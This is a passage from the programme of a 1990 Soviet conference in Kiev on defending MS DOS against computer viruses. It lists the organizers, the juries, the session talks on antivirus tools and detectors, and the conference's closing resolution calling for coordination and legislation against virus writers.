остановки Севастопольская площадь, затем автобусом 69 до оста-
новки Гарматная; от железнодорожного вокзала - трамваем 2 или
13 до ост. Площадь Победы, затем трамваем 1 или 3 до остановки
Гарматная. Остановка Гарматная расположена прямо напротив
корпусов КИИГА. Оргкомитет не гарантирует приобретение обратных
билетов, поэтому рекомендуется приобрести их заблаговременно.
Оргкомитет
БЛАГОДАРНОСТИ
Ряд организаций содействовал проведению конференции, оказав
финансовую помощь Оргкомитету или установив специальные премии
для участников конкурса. От имени Оргкомитета выражаю благодар-
ность Сергею Григорьевичу Антимонову - директору Научного центра
СП Диалог при ВЦ АН СССР, Григорию Евгеньевичу Попову - дирек-
тору Киевского филиала СП Новинтех, Геннадию Павловичу Тарасову
- директору ЦНКБ ВT ГКВТИ CCCР, Анатолию Абовичу Эйдесу - руково-
дителю издательского отдела СП Интерюнити.
Председатель Оргкомитета конференции Н.Н. Безруков
.
- 3 -
ОРГКОМИТЕТ КОНФЕРЕНЦИИ
Председатель оргкомитета: Безруков Н.Н.
Зам.председателя,
зам.директора Авиацентра НТТМ: Белоусов А.Ф.
Секретарь: Ткаченко Г.Э.
Члены оргкомитета: Камышин В.В., Кучма Е.Е., Лященко Ю.П.
Адрес оргкомитета: 252058 Киев-58, пр. Космонавта Комарова 1,
КИИГА, корп. 3, Авиацентр НТТМ, тел.484-94-63
ЖЮРИ КОНКУРСА
Председатель жюри: Безруков Н.Н.
Секретарь: Литвинов Б.Ю.
Члены жюри: Быков В.Л., Дрозд Ю.Ю., Кононенко А.В., Кохманюк Д.Н.,
Тарасов Г.П., Ткаченко В.О, Третьяков А.И.
Тел. (044) 268-10-26 (дом) Безруков Николай Николаевич,
(044) 441-92-60, (044) 413-89-74 (дом) Литвинов Борис Юрьевич
ЖЮРИ СПЕЦИАЛЬНОЙ ПРЕМИИ КИЕВСКОГО ФИЛИАЛА СП НОВИНТЕХ
Председатель жюри: Безруков Н.Н.
Секретарь: Конозенко В.И.
Члены жюри: Загоровский В.Г., Кохманюк Д.Н., Русаков А.Э.
Тел. (044) 268-10-26 Безруков Николай Николаевич
(044) 266-53-88 Конозенко Владимир Иванович
ЖЮРИ СПЕЦИАЛЬНОЙ ПРЕМИИ ЖУРНАЛА ИНТЕРКОМПЬЮТЕР
Председатель жюри: Эйдес А.А.
Секретарь: Карасик И.Ш.
Члены жюри: Безруков Н.Н., Литвинов Б.Ю., Ткаченко В.О.
Тел. (095) 202-92-80 Эйдес Анатолий Абович
(095) 202-92-80 Карасик Иосиф Шевелевич
.
- 4 -
Открытие конференции 14 ноября (10.30-13.00)
Безруков Н.Н.(Киев). Актуальные проблемы компьютерной виру-
сологии (стелс-вирусы, файлово-бутовые вирусы, LAN-вирусы).
Бончев В.(София). Развитие вирусологии в Болгарии (название
ориентировочное и может быть уточнено).
Лозинский Д.Н.(Москва). Aidstest: первые два года.
Тарасов Г.П.(Киев, ЦНКБ ВТ ГКВТИ). Государственная программа
в области защиты программного обеспечения от вирусов (название
ориентировочное и может быть уточнено).
Вечернее заседание 14 ноября (15.00-19.00)
Секция 1: Общие проблемы компьютерной вирусологии.
Классификация вирусов и методы анализа вирусоподобных программ,
инструментальные средства вирусолога (рук. секции - Н.Н.Безруков)
Водяник А.Г.(Мариуполь). Некоторые утилиты для анализа про-
граммного обеспечения.
Волынский В.В.(Москва). Использование Periscope для анализа
программного обеспечения.
Карасик И.Ш.(Москва). Вирусы как продукт естественной эволю-
ции программного обеспечения.
Кохманюк Д.С.(Киев). Опыт использования Quaid Analizer для
исследования программного обеспечения.
Свиридов И.А.(Киев). Роль BBS в борьбе с вирусами (на приме-
ре электронной конференции по вирусам FIDO).
Селивоненко А.Б.(Полтава). Шпион 21 прерывания.
Касперский Е.В.(Москва). Методика работы с дизассемблером
Sourcer.
Цал М.И.(Ленинград). Современный уровень написания вирусов и
возможность создания универсального детектора и резидентных про-
грамм.
.
- 5 -
Утреннее заседание 15 ноября (10.00-13.00)
Секция 2: Интегрированные антивирусные системы. Полифаги
(рук. секции - Д.Н.Лозинский)
Грязнов Д.О.(Переславль-Залесский). Антивирусная система PC
Shield.
Касперский Е.Н.(Москва). Полифаг -V.
Котик О.Г.(Москва). Система Anti-Kot/Anti-Kor.
Свиридов И.А.(Киев). Пакетный универсальный детектор-фаг для
бутовых вирусов.
Сербиненко А.В.(Донецк). Сравнительный анализ пользователь-
ского интерфейса в полифагах.
Сусликов Е.Н.(Кемерово). Незаражаемый высокоскоростной поли-
фаг с самонастройкой на детектирование новых вирусов.
Сысоев И.В.(Москва). Полифаг AV.
Юдин Г.Т., Биллиг И.В.(Тверь). Интегрированная антивирусная
среда Авиценна.
Вечернее заседание 15 ноября (15.00-19.00)
Секция 3: Вопросы конструирования детекторов,
конструирование ревизоров, контроль целостности MS DOS
(рук. секции - Е.В.Касперский)
Ветров И.В.(Москва). Пакет программ Ревизор.
Герасимов В.В.(Москва). Новая версия ревизора DLI.
Мостовой Д.Ю.(Москва). Некоторые аспекты реализации ревизо-
ров.
Рабец В.С.(Черноголовка). Детектор, интегрированный с Norton
Commander.
Румянцев М.И.(Донецк). Spirit - средство контроля целостнос-
ти MS DOS.
Суворов И.А.(Киев). Полидетектор с ускоренным поиском сигна-
тур и возможностью ввода данных из таблиц Компьютерной вирусоло-
гии.
Судленков Г.О.(Минск). Ревизор с возможностью нейтрализации
файловых вирусов, дописывающихся в хвост файла.
Шеховцов А.Л.(Киев). Полидетектор с диалоговым интерфейсом и
возможностью ввода сигнатур для контекстного поиска.
.
- 6 -
Утреннее заседание 16 ноября (9.00 - 13.00)
Секция 4: Конструирование резидентных программ защиты,
методы контроля on the fly (рук. секции - А.Г.Водяник)
Водяник А.Г.(Мариуполь). Intellectual Writе Protector - гиб-
кое сочетание аппаратных и программных методов защиты.
Двоеглазов И.М.(Киев). Резидентный сторож, контролирующий 21
прерывание.
Касперский Е.Н.(Москва). Резидентные сторожа -D1, -D2, -D3.
Катюшкин А.В.(Москва). Резидентный монитор с расширенными
возможностями.
Пономаренко В.В.(Киев). Резидентная поливакцина.
Вечернее заседание 16 ноября (15.00 - 19.00)
Секция 5. Нетрадиционные методы защиты от вирусов, незаражаемые и
самоизлечивающиеся программы (рук. секции - Н.Н.Безруков)
Бабанин В.М.(Тверь). Универсальная антивирусная вакцина от
файловых вирусов, имплантирующихся в конец файла.
Волынский В.В.(Москва). Вирус против вирусов.
Сесса А.В.(Днепропетровск). Нейтрализация произвольных буто-
вых вирусов при загрузке ДОС.
Сусликов Е.Н.(Кемерово). Эвристические методы поиска новых
вирусов в незаражаемом полидетекторе LD.
Рахимов А.Р., Турсунов О.О.(Газалкент). Антивирусная система
Cerber.
Фиалков А.В.(Москва). Универсальное вакцинирование программ
от файловых вирусов присоединяемым детектором-защитником.
Д и с к у с с и я: Меры воздействия и возможные санкции
против разработчиков и распространителей вирусов
.
- 7 -
Утреннее заседание 17 ноября (10.00 - 12.00)
Секция 6: Методы и алгоритмы защиты от несанкционированного
копирования коммерческого ПО (рук. секции В.Герасимов)
Даен И.Л., Маковенко А.Т.(Киев). Средства защиты от копиро-
вания данных, основанные на применении ключей.
Герасимов В.В.(Москва). Классификация систем защиты от не-
санкционированного копирования и некоторые оценки сложности их
вскрытия.
Рик А.В.(Тверь). Метод комплексной защиты программных
средств на дискетах и винчестерах.
Закрытие конференции (12.00 - 14.00)
Безруков Н.Н. Итоги конкурса антивирусных программ, рас-
пространяемых бесплатно. Награждение победителей.
Принятие заключительных документов, определение даты прове-
дения следующей конференции.
ЗАКЛЮЧИТЕЛЬНOE ОБРАЩЕНИЕ
Первой Всесоюзной конференции
Методы и средства защиты от компьютерных вирусов
в операционной системе MS DOS
Мы, представители различных республик и регионов, принявшие участие в
конференции, считаем необходимым привлечь внимание общественности страны
к проблеме компьютерных вирусов в СССР и отметить следующее:
1. Компьютерные вирусы, наряду с троянскими программами, являются
опасными загрязнителями информационной среды. Поэтому борьбу с
компьютерными вирусами следует рассматривать как часть экологического
движения. Как и проблема загрязнения природы, проблема компьютерных
вирусов уже вышла за рамки национальных границ. Локальное загрязнение
какой-то территории (например, Софии) почти всегда превращается в
национальную, а затем и в международную проблему. Транснациональное
распространение вирусов наносит значительный экономический ущерб.
2. Проблема компьютерных вирусов носит долговременный характер. В
настоящее время для MS DOS существует несколько сотен компьютерных
вирусов и их число продолжает расти. Поэтому следует ожидать
постепенного проникновения в СССР большого количества вирусов разных
классов, включая стелс-вирусы.
3. В стране намечается вирусный взрыв, аналогичный произошедшему в
Болгарии. Нарастающими темпами происходит опасное вовлечение в
деятельность по созданию вирусов студенческой молодежи в разных регионах
страны. Без принятия комплекса мер противодействия вирусный взрыв
может нанести значительный вред отечественным пользователям персональных
компьютеров и экспорту отечественного программного обеспечения. Учитывая
характер деятельности разработчиков компьютерных вирусов, конференция
рекомендует использовать в литературе для обозначения этой категории
компьютерных вандалов термин техно-крыса, а также освещать их
деятельность, как имеющую явную антисоциальную направленность. В целях
информирования пользователей об основных приемах борьбы с компьютерными
вирусами, конференция считает целесообразным издание монографии
Н.Н.Безрукова Компьютерная вирусология массовым тиражом.
4. В связи с резким увеличением количества распространяющихся
вирусов, первостепенное значение приобретает обмен информацией между
пользователями и координация усилий между разработчиками антивирусных
программ. Конференция отмечает роль Киевского семинара Системное
программирование и выпускаемого семинаром электронного бюллетеня
СОФТПАНОРАМА, как неформального центра обмена информацией по данной
проблеме. Поскольку резкое увеличение количества компьютерных вирусов
требует нового уровня координации между разработчиками антивирусных
программ, конференция рекомендует руководителю семинара Н.Н.Безрукову
продолжить работу по организации обмена информацией между
разработчиками, координацию разработок антивирусных программ и
специального инструментария для анализа вирусов.
5. Конференция отмечает, что низкий уровень развития
телекоммуникаций в нашей стране является одним из факторов,
способствующих распространению компьютерных вирусов и призывает отменить
двойной тариф за передачу данных по междугородним телефонным линиям в
ночное время и расширить продажу модемов, отменив на год пошлину за их
ввоз в СССР. Конференция считает необходимым создание бесплатной BBS,
ориентированной на распространение информации о новых вирусах и
антивирусных программах для борьбы с ними и призывает государственные и
кооперативные организации, а также фонды оказать содействие в решении
проблемы ее организации.
6. В сложившейся ситуации защита от компьютерных вирусов должна
быть многоуровневой, комплексной и включать хорошо отлаженную систему
архивирования. Конференция обращает внимание пользователей на
целесообразность налаживания сплошного входного контроля и
исследования поступающего программного обеспечения.
7. Учитывая роль пиратских копий в распространении компьютерных
вирусов, конференция призывает ускорить введение законов, обеспечивающих
охрану авторских прав на программное обеспечение.
8. Конференция отмечает важность совершенствования действующего
законодательства с целью обеспечения возможности привлечения к
административной или уголовной ответственности разработчиков
отечественных компьютерных вирусов.
9. Для предотвращения растрачивания государственных средств на
дорогостоящие и неэффективные проекты, конференция призывает выделять
финансирование по данной тематике только на конкурсной основе, в виде
грантов проявившим себя исследователям и коллективам, субсидирования
конкурсов антивирусных программ и BBS.
10. Признать целесообразным организацию в 1991 г. очередной
конференции по данной проблеме. Создать подготовительный комитет
конференции ANTIVIR-91 в составе Н.Н.Безрукова, Е.В.Касперского,
Д.Н.Лозинского и Е.Н.Сусликова. Организовать совещание подготовительного
комитета в феврале 1991 г., на котором определить дату и место
проведения очередной конференции, а также опубликовать информационное
сообщение в электронном бюллетене СОФТПАНОРАМА.
11. Учитывая установленные на конференции личные контакты, признать
целесообразным налаживание связей с болгарскими и польскими
вирусологами, систематический обмен информацией и специалистами по
данной проблеме.
Киев,
17 ноября 1990 г.
Принято единогласно на заключительном
заседании конференции